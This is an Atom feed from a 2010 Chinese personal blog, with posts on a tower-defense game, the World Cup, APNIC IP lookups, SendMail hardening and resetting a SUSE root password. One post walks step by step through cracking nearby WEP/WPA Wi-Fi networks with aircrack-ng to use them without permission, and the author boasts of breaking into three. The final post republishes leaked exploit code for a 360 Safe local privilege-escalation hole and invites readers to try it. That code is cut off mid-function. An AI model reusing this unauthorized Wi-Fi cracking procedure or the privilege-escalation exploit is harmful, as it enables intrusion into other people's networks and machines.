<?xml version="1.0" encoding="UTF-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  <title type="html"><![CDATA[无言's Blog]]></title>
  <subtitle type="html"><![CDATA[默默在困顿与迷茫中执着地探索...]]></subtitle>
  <id>http://www.ph-ok.com/</id>
  <link rel="alternate" type="text/html" href="http://www.ph-ok.com/" /> 
  <link rel="self" type="application/atom+xml" href="http://www.ph-ok.com/atom.asp" /> 
  <generator uri="http://www.pjhome.net/" version="2.8">PJBlog3</generator> 
  <updated>2010-06-13T15:44:06+08:00</updated>

  <entry>
	  <title type="html"><![CDATA[守城游戏~]]></title>
	  <author>
		 <name>无言</name>
		 <uri>http://www.ph-ok.com/</uri>
		 <email>109091@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.ph-ok.com/default.asp?cateID=4" label="-Funny-" /> 
	  <updated>2010-06-13T15:44:06+08:00</updated>
	  <published>2010-06-13T15:44:06+08:00</published>
		  <summary type="html"><![CDATA[一个魔兽守城的游戏，越到后边越BT，挺有意思，可以做减压之用.....<br/><img src="http://www.ph-ok.com/download.asp?id=24" border="0" alt=""/><br/><br/>游戏地址：<br/><a target="_blank" href="http://www.ph-ok.com/attachments/month_1006/20100613154214.swf" rel="external">http://www.ph-ok.com/attachments/month_1006/20100613154214.swf</a><br/><br/>对于这个游戏，其实玩了就知道了，最大化怪物要走的路线，最大化你炮台的数量，才有可能过更多的关数；<br/><br/>以下为我的部局设计，个人感觉应该是最大化了，仅供参考：<br/><img src="http://www.ph-ok.com/download.asp?id=26" border="0" alt=""/><br/>上图的怪物所走路线：149，炮台数量：98<br/>下图的怪物所走路线：156，炮台数量：97]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.ph-ok.com/article.asp?id=59" /> 
	  <id>http://www.ph-ok.com/default.asp?id=59</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[2010 世界杯（2010 South Africa 2010 FIFA......）]]></title>
	  <author>
		 <name>无言</name>
		 <uri>http://www.ph-ok.com/</uri>
		 <email>109091@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.ph-ok.com/default.asp?cateID=3" label="-Mood-" /> 
	  <updated>2010-06-11T21:21:21+08:00</updated>
	  <published>2010-06-11T21:21:21+08:00</published>
		  <summary type="html"><![CDATA[<div class='UBBContent'><object type='application/x-shockwave-flash' data='kmp/player.swf' width='290' height='24' id=audioplayer56234><param name='movie' value='kmp/player.swf' /><param name='FlashVars' value='playerID=56234&bg=0x62615E&leftbg=0x000000&lefticon=0x62615E&rightbg=0x000000&rightbghover=0x000000D&righticon=0x00C0FF&righticonhover=0xFFFFFF&text=0x000000&slider=0x000000&track=0x62615E&border=0x000000&loader=0x00C0FF&loop=no&autostart=yes&soundFile=http://www.ph-ok.com/music/Waka Waka.mp3' /><param name='quality' value='high' /><param name='menu' value='false' /><param name='wmode' value='transparent' /></object></div><br/><img src="http://www.ph-ok.com/download.asp?id=17" border="0" alt=""/><br/><br/><img src="http://www.ph-ok.com/download.asp?id=18" border="0" alt=""/><br/><br/><img src="http://www.ph-ok.com/download.asp?id=19" border="0" alt=""/><br/><br/><img src="http://www.ph-ok.com/download.asp?id=22" border="0" alt=""/><br/><br/><img src="http://www.ph-ok.com/download.asp?id=20" border="0" alt=""/><br/><br/><img src="http://www.ph-ok.com/download.asp?id=25" border="0" alt=""/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.ph-ok.com/article.asp?id=63" /> 
	  <id>http://www.ph-ok.com/default.asp?id=63</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[如何快速获取电信、网通、铁通的IP地址段...]]></title>
	  <author>
		 <name>无言</name>
		 <uri>http://www.ph-ok.com/</uri>
		 <email>109091@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.ph-ok.com/default.asp?cateID=10" label="-Document-" /> 
	  <updated>2010-05-26T12:03:48+08:00</updated>
	  <published>2010-05-26T12:03:48+08:00</published>
		  <summary type="html"><![CDATA[IDC 这边网络终于通了(严重 BS 四川电信)，但由于所分配的是一组新地址，发现到网通的路由很多都不通（估计应该是路由表都还没加全呢~），M 总想知道有多少网通的，铁通的路由是不通的,帮他整理一份ip分配表..... 愁了~这要查各ISP的ip分配情况啊~<br/><br/>Googleing........~~偶然发现了个好办法准确的知道电信、网通、铁通等ISP运营商的IP地址段分配情况, APNIC（我就不用详细说了吧，它是管理亚太地区IP地址分配的机构）有着丰富准确的IP地址分配库，同时这些信息也是免费对外公开的...（嘿嘿，就喜欢不要钱的~~~）<br/><br/>找台linux系统，做以下步骤：<br/>shell&gt; wget <a href="http://ftp.apnic.net/apnic/dbase/tools/ripe-dbase-client-v3.tar.gz" target="_blank" rel="external">http://ftp.apnic.net/apnic/dbase/tools/ripe-dbase-client-v3.tar.gz</a> <br/>shell&gt; tar xzvf ripe-dbase-client-v3.tar.gz <br/>shell&gt; cd whois-3.1 <br/>shell&gt; ./configure <br/>shell&gt; make<br/>shell&gt; make install<br/><br/>完成上述编译安装工作后，我们开始获取IP地址段； <br/>中国电信：<br/>shell&gt; whois3 -h whois.apnic.net -l -i mb MAINT-CHINANET &gt; chinanet.txt<br/>中国网通： <br/>shell&gt; whois3 -h whois.apnic.net -l -i mb MAINT-CNCGROUP &gt; cnc.txt<br/>中国铁通：<br/>shell&gt; whois3 -h whois.apnic.net -l -i mb MAINT-CN-CRTC &gt; crtc.txt<br/><br/>打开获取后的文件可以看到里面的信息非常详细，甚至可以看到各个分公司的负责人、电话、电子邮件等等信息。如果想得到一份整齐干净的IP地址段文件，只要用grep和awk简单过滤就可以了。<br/><br/>中国电信：<br/>awk &#39;/inetnum:/&#39; chinanet &gt; chinanet_ip.txt<br/>中国网通：<br/>awk &#39;/inetnum:/&#39; cnc &gt; cnc_ip.txt<br/>中国铁通：<br/>awk &#39;/inetnum:/&#39; crtc &gt; crtc_ip.txt<br/><br/>ok!! 打完收工~<br/><br/>附：chinanet_cnc_crtc_IP.20100526.rar<br/><span id="down_b8bgllps6i"></span><script language="javascript" type="text/javascript">check('Action.asp?action=Antidown&id=10&downurl=download%2Easp%3Fid%3D10&main=%E7%82%B9%E5%87%BB%E4%B8%8B%E8%BD%BD%E6%AD%A4%E6%96%87%E4%BB%B6','down_b8bgllps6i','down_b8bgllps6i');</script><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.ph-ok.com/article.asp?id=58" /> 
	  <id>http://www.ph-ok.com/default.asp?id=58</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[江老一路走好....]]></title>
	  <author>
		 <name>无言</name>
		 <uri>http://www.ph-ok.com/</uri>
		 <email>109091@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.ph-ok.com/default.asp?cateID=3" label="-Mood-" /> 
	  <updated>2010-04-06T16:38:56+08:00</updated>
	  <published>2010-04-06T16:38:56+08:00</published>
		  <summary type="html"><![CDATA[王江民（1951.10-2010.4.4），北京江民科技有限公司（江民杀毒软件）创始人兼总裁。中国著名的反病毒专家、国家高级工程师、中国残联理事、山东省烟台市政协委员、山东省肢残人协会副理事长。2010年4月4日上午10点左右，在京西信翔鱼池钓鱼时，心脏病突发，抢救无效去世。 <br/><img src="http://www.ph-ok.com/download.asp?id=9" border="0" alt=""/><br/><br/>追忆94年，从kv100开始一直到300，实为江老的经典之作，想当年在DOS时期，一张磁盘走天下。管它是盗版还是正版，单从杀毒能力来说在当时是公认的...<br/>群里有哥们发感慨：江老是被国内的杀毒界给气死的~~~&nbsp;&nbsp; 唉！想想也是，看看目前杀毒界的混乱，也许江老这样走了也是一种解脱...... 江老一路走好.....]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.ph-ok.com/article.asp?id=57" /> 
	  <id>http://www.ph-ok.com/default.asp?id=57</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Google 走了..........]]></title>
	  <author>
		 <name>无言</name>
		 <uri>http://www.ph-ok.com/</uri>
		 <email>109091@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.ph-ok.com/default.asp?cateID=4" label="-Funny-" /> 
	  <updated>2010-03-23T16:00:30+08:00</updated>
	  <published>2010-03-23T16:00:30+08:00</published>
		  <summary type="html"><![CDATA[突然发现,google.com、google.cn的访问都被重定向到 www.google.com.hk/webhp?hl=zh-CN&amp;source=hp........<br/>顿时那个咓凉~咓凉~的啊~~~<br/><br/>转一个西门的漫画...很有意思.....<br/><img src="http://www.ph-ok.com/download.asp?id=6" border="0" alt=""/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.ph-ok.com/article.asp?id=55" /> 
	  <id>http://www.ph-ok.com/default.asp?id=55</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[BT3心得(BT3.....)]]></title>
	  <author>
		 <name>无言</name>
		 <uri>http://www.ph-ok.com/</uri>
		 <email>109091@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.ph-ok.com/default.asp?cateID=10" label="-Document-" /> 
	  <updated>2010-03-10T23:40:54+08:00</updated>
	  <published>2010-03-10T23:40:54+08:00</published>
		  <summary type="html"><![CDATA[郁闷~~~，目前住的地方没有小区宽带,要装电信网络还要装固话.......~~~ <br/><br/>强烈BS一下电信这种捆绑销售~<br/><br/>无奈用WiFiHopper扫了一下周围的无线信号，6、7个AP。不过信号强度都很一般，很多还是WPA2的...<br/>Windows 下的扫描工具推荐用WiFiHopper，基本上目前的无线网卡都支持，比NetworkStumbler 好用...<br/>找了个U盘，做个BT3启动盘....本人用的是rockplay的霸天虎BT3.6.1(主要因为T61用的是4965,目前看，这个BT3版本支持的最好...)扫了一下，又多发现了几个AP,嘿嘿~~还有几个WEP的...看来蹭网有戏了........<br/><br/>加载命令：<br/>modprobe -r iwl3945 (卸载默认挂载的3945驱动)<br/>modprobe ipwraw (加载可监听的网卡驱动)<br/>modinfo ipwraw (查看所加载驱动模块的版本信息)<br/><br/>加载接口:<br/>airmon-ng start wlan0 (加载网卡，激活监听模式，扫描可被加载的mon接口)<br/>airmon-ng start wlan0 11 (SK )<br/>可通过ifcofig -a 查看一无线网卡的接口信息<br/><br/>全频搜索：<br/>airodump-ng mon0 (基于mon0的全信道扫描，可以查到附近的AP信息,信号强度，加密方式....)<br/><br/>实例：<br/>------------------------------------------------------------------<br/>BSSID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PWR&nbsp;&nbsp;Beacons&nbsp;&nbsp;&nbsp;&nbsp;#Data, #/s&nbsp;&nbsp;CH&nbsp;&nbsp;MB&nbsp;&nbsp; ENC&nbsp;&nbsp;CIPHER AUTH ESSID<br/> C8:3A:35:0C:47:30&nbsp;&nbsp; -1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1&nbsp;&nbsp;&nbsp;&nbsp;0 133&nbsp;&nbsp;-1&nbsp;&nbsp; OPN&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;length:&nbsp;&nbsp;0&gt;<br/> 00:23:CD:70:FB:96&nbsp;&nbsp;-81&nbsp;&nbsp;&nbsp;&nbsp; 1037&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp; 6&nbsp;&nbsp;54 . WPA2 CCMP&nbsp;&nbsp; PSK&nbsp;&nbsp;TP-LINK_70FB94<br/> 00:27:19:97:76:B6&nbsp;&nbsp;-83&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;792&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 27&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp; 6&nbsp;&nbsp;54 . WPA2 CCMP&nbsp;&nbsp; PSK&nbsp;&nbsp;FAST_9776B6<br/> C8:3A:35:0B:96:D0&nbsp;&nbsp;-83&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;558&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp; 6&nbsp;&nbsp;54&nbsp;&nbsp; WPA&nbsp;&nbsp;TKIP&nbsp;&nbsp; PSK&nbsp;&nbsp;Tenda<br/> 94:0C:6D:21:39:BA&nbsp;&nbsp;-85&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;560&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp; 6&nbsp;&nbsp;54 . WPA2 CCMP&nbsp;&nbsp; PSK&nbsp;&nbsp;zhouzi<br/> 00:19:E0:B8:35:BA&nbsp;&nbsp;-86&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;388&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp; 6&nbsp;&nbsp;54 . WEP&nbsp;&nbsp;WEP&nbsp;&nbsp;&nbsp;&nbsp;SKA&nbsp;&nbsp;nrs<br/>00:19:E0:39:0B:72&nbsp;&nbsp;-87&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;244&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;100&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp; 6&nbsp;&nbsp;54 . WEP&nbsp;&nbsp;WEP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; TP-LINK<br/>00:21:27:35:E4:CC&nbsp;&nbsp;-87&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;140&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 59&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp; 6&nbsp;&nbsp;54 . WEP&nbsp;&nbsp;WEP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wangxq<br/>------------------------------------------------------------------<br/><br/>基于信道6的 mon0 接口 扫描:<br/>airodump-ng -c 6 mon0 (只基于信道6的扫描,很多AP默认都是用的信道6..能找到不少..)<br/><br/>基于信道11的 mon0 接口 扫描:<br/>airodump-ng -c 11 mon0 (只基于信道11的扫描)<br/><br/>基于mon0 接口的信道6扫描,并且保存为phok-01.ivs <br/>airodump-ng --ivs -w phok-01.ivs -c 6 mon0<br/>开始抓包，并且保存成ivs文件，ivs是最后用于破解的文件，ivs状态在抓包过程中，可以通过data值项看到，一般用于WEP破解时最好在15000ivs以上~，试了很多次，这是必须的，否则无法破解.....<br/>目前BT3在破解WPA加密方式的还不够强悍...所以能搜到WEP，优先进行...<br/><br/>口令破解：<br/>aircrack-ng -n 64 -b&lt;apmac&gt; phok-01.ivs (WEP的口令破解...)<br/>参数说明：<br/>[-n]：设置WEP KEY 长度（64/128/152/256/512）<br/>aircrack-ng -x -f 2 phok-01.cap<br/>[-x]：设置为暴力破解模式<br/>[-f]：设置复杂程度，wep密码设置为1，wpa 密码设置为2<br/>aircrack-ng -w password.txt phok-01.cap<br/>[-w]：设置为字典破解模式，后面跟字典文件，再后面跟是我们即时保存的那个捕获到WPA 验证的抓包文件。<br/><br/>嘿嘿~~ 经过上述努力，破解了3个WEP的AP，抓包时间长达2个多小时，不过还是蹭上网了..回头抽时间再研究一下，通过冲突模式重新连接所产生的握手数据来增加data值.....<br/>aireplay-ng -3 -b &lt;ap mac&gt; -h &lt;合法客户端mac&gt; mon0<br/><br/>搞的时候懒得截图了，这图是从网上搜的，它用的是GUI模式，其实用命令行方式是最方便的... <br/><img src="http://www.ph-ok.com/download.asp?id=5" border="0" alt=""/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.ph-ok.com/article.asp?id=54" /> 
	  <id>http://www.ph-ok.com/default.asp?id=54</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[SendMail 服务应该如何停....]]></title>
	  <author>
		 <name>无言</name>
		 <uri>http://www.ph-ok.com/</uri>
		 <email>109091@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.ph-ok.com/default.asp?cateID=10" label="-Document-" /> 
	  <updated>2010-02-26T15:36:21+08:00</updated>
	  <published>2010-02-26T15:36:21+08:00</published>
		  <summary type="html"><![CDATA[SendMail. .&nbsp;&nbsp;linux/unix系统等自带的mail应用，在多数情况下并不需要启用，而因它产生的安全漏洞却不少....<br/><br/>前阵子给个客户做unix系统方面的安全加固，用户的极光漏扫检测出大量的SendMail安全问题，就问我要如何停止这些系统的SendMail...<br/><br/>UNIX 停止sendmail服务..<br/>AIX:<br/>1. stopsrc -s sendmail （如果没有该命令，ps后看snedmail进程ID，kill掉即可...）<br/>2. ps -ef |grep sendmail (确认一下 sendmal 的进程是被干掉)<br/>永久关闭Sendmail.<br/>3. vi /etc/rc.tcpip<br/>按下述要求用#注释掉..<br/># /qpi=30m<br/># start /usr/lib/sendmail<br/>wq 保存退出即可..<br/><br/>HP-UX:<br/>1. /sbin/init.d/sendmail stop <br/>2./etc/rc.config.d/mailservs, 把 ＝1 改为 ＝0<br/><br/>FreeBSD:<br/>1. killall sendmail<br/>2. 在 /etc/rc.conf 中加入如以下内容<br/>sendmail_enable=&#34;NONE&#34;<br/>sendmail_submit_enable=&#34;NO&#34;<br/>sendmail_outbound_enable=&#34;NO&#34;<br/>sendmail_msp_queue_enable=&#34;NO&#34;<br/><br/>Linux&nbsp;&nbsp;停止sendmail服务..<br/>Red Hat/SentOS:<br/>1. /sbin/service sendmail stop<br/>2. /sbin/chkconfig sendmail off<br/><br/>SUSE LINUX:<br/>1. /etc/init.d/sendmail stop<br/>2. /sbin/chkconfig -s sendmail off<br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.ph-ok.com/article.asp?id=53" /> 
	  <id>http://www.ph-ok.com/default.asp?id=53</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Suse Linux  &#34;root&#34;  password recover]]></title>
	  <author>
		 <name>无言</name>
		 <uri>http://www.ph-ok.com/</uri>
		 <email>109091@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.ph-ok.com/default.asp?cateID=10" label="-Document-" /> 
	  <updated>2010-02-24T02:08:53+08:00</updated>
	  <published>2010-02-24T02:08:53+08:00</published>
		  <summary type="html"><![CDATA[1. Restart the machine, in the event of grub boot interface, an option wh&#101;re you start Linux with <u>init = / bin / bash</u>, by giving the kernel to pass init = / bin / bash parameter allows OS before running the login program to run bash, command-line appears.<br/><br/>2. Wait a moment there (none) #: the command line.<br/><br/>3. Then type <u>mount-n /-o remount, rw </u>said it would re-mount the root file system for read-write, with the read-write access after the passwd command can change the password.<br/><br/>4. Then enter the passwd command to reset the passwords. Enter a password that you remember, but can not remember all right, now we know the solution.<br/><br/>5. After completion of editing remember to use <u>mount-n /-o remount</u>, ro root file system will be set to the o&#114;iginal state.<br/><br/><img src="http://www.ph-ok.com/download.asp?id=3" border="0" alt=""/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.ph-ok.com/article.asp?id=52" /> 
	  <id>http://www.ph-ok.com/default.asp?id=52</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[CCTV? CCAV?]]></title>
	  <author>
		 <name>无言</name>
		 <uri>http://www.ph-ok.com/</uri>
		 <email>109091@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.ph-ok.com/default.asp?cateID=10" label="-Document-" /> 
	  <updated>2010-02-16T00:26:35+08:00</updated>
	  <published>2010-02-16T00:26:35+08:00</published>
		  <summary type="html"><![CDATA[<img src="http://www.ph-ok.com/download.asp?id=1" border="0" alt=""/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.ph-ok.com/article.asp?id=50" /> 
	  <id>http://www.ph-ok.com/default.asp?id=50</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[360&#34;本地提权&#34;漏洞后门利用代码....]]></title>
	  <author>
		 <name>无言</name>
		 <uri>http://www.ph-ok.com/</uri>
		 <email>109091@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.ph-ok.com/default.asp?cateID=6" label="-Estreat-" /> 
	  <updated>2010-02-02T10:34:29+08:00</updated>
	  <published>2010-02-02T10:34:29+08:00</published>
		  <summary type="html"><![CDATA[圈子里天天都是血雨腥风....360和瑞星整天狗咬狗，这不，哪个点不清的，在瑞星官方上发了一个360的本地提权漏洞..！结果，可想而之，好多人提权了（说真的，360这么垃圾的玩意还真有SB网管装在服务器上啊？）尽管瑞星很快将公布的代码删掉了，但这代码已然是流了出来....对目前所有版本的360都有效... 有兴趣的拿去玩玩吧....<br/><br/><span style="color:Black">#include &lt;windows.h&gt;<br/>typedef BOOL (WINAPI *INIT_REG_ENGINE)();<br/>typedef LONG (WINAPI *BREG_Del&#101;te_KEY)(HKEY hKey, LPCSTR lpSubKey);<br/>typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);<br/>typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);<br/>typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);<br/>BREG_Del&#101;te_KEY BRegDel&#101;teKey = NULL;<br/>BREG_OPEN_KEY BRegOpenKey = NULL;<br/>BREG_CLOSE_KEY BRegCloseKey = NULL;<br/>REG_SET_VALUE_EX BRegSetValueEx = NULL;<br/>#define AppPath&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#34;Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe&#34;<br/>#define TestDel&#101;teKey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY_LOCAL_MACHINE<br/>#define TestDel&#101;teRegPath&nbsp;&nbsp;&nbsp;&nbsp;&#34;Software\\360Safe\\Up&#100;ate&#34;<br/>#define TestSetKey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY_LOCAL_MACHINE<br/>#define TestSetPath&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#34;Software\\360Safe&#34;<br/>BOOL InitBRegDll()<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LONG lResult;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY hKey;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CHAR cPath[MAX_PATH + 32] = { 0 };<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwPathLen = MAX_PATH;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &amp;hKey);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(lResult))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwType = REG_SZ;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = RegQueryValueExA(hKey, &#34;Path&#34;, NULL, &amp;dwType, (LPBYTE)cPath, &amp;dwPathLen);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RegCloseKey(hKey);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(lResult))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(cPath, &#34;\\deepscan\\BREGDLL.dll&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HMODULE modBReg = LoadLibraryA(cPath);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!modBReg)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, &#34;InitRegEngine&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegDel&#101;teKey = (BREG_Del&#101;te_KEY)GetProcAddress(modBReg, &#34;BRegDel&#101;teKey&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, &#34;BRegOpenKey&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, &#34;BRegCloseKey&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, &#34;BRegSetValueEx&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!InitRegEngine || !BRegDel&#101;teKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeLibrary(modBReg);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!InitRegEngine()) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeLibrary(modBReg);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return TRUE;<br/>}<br/>LONG TestSetRegKey()<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY hKey;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LONG lResult;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = BRegOpenKey(TestSetKey, TestSetPath, &amp;hKey);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(lResult))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return lResult;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwType = REG_SZ;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; static char szData[] = &#34;TEST VALUE&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&amp;szData, 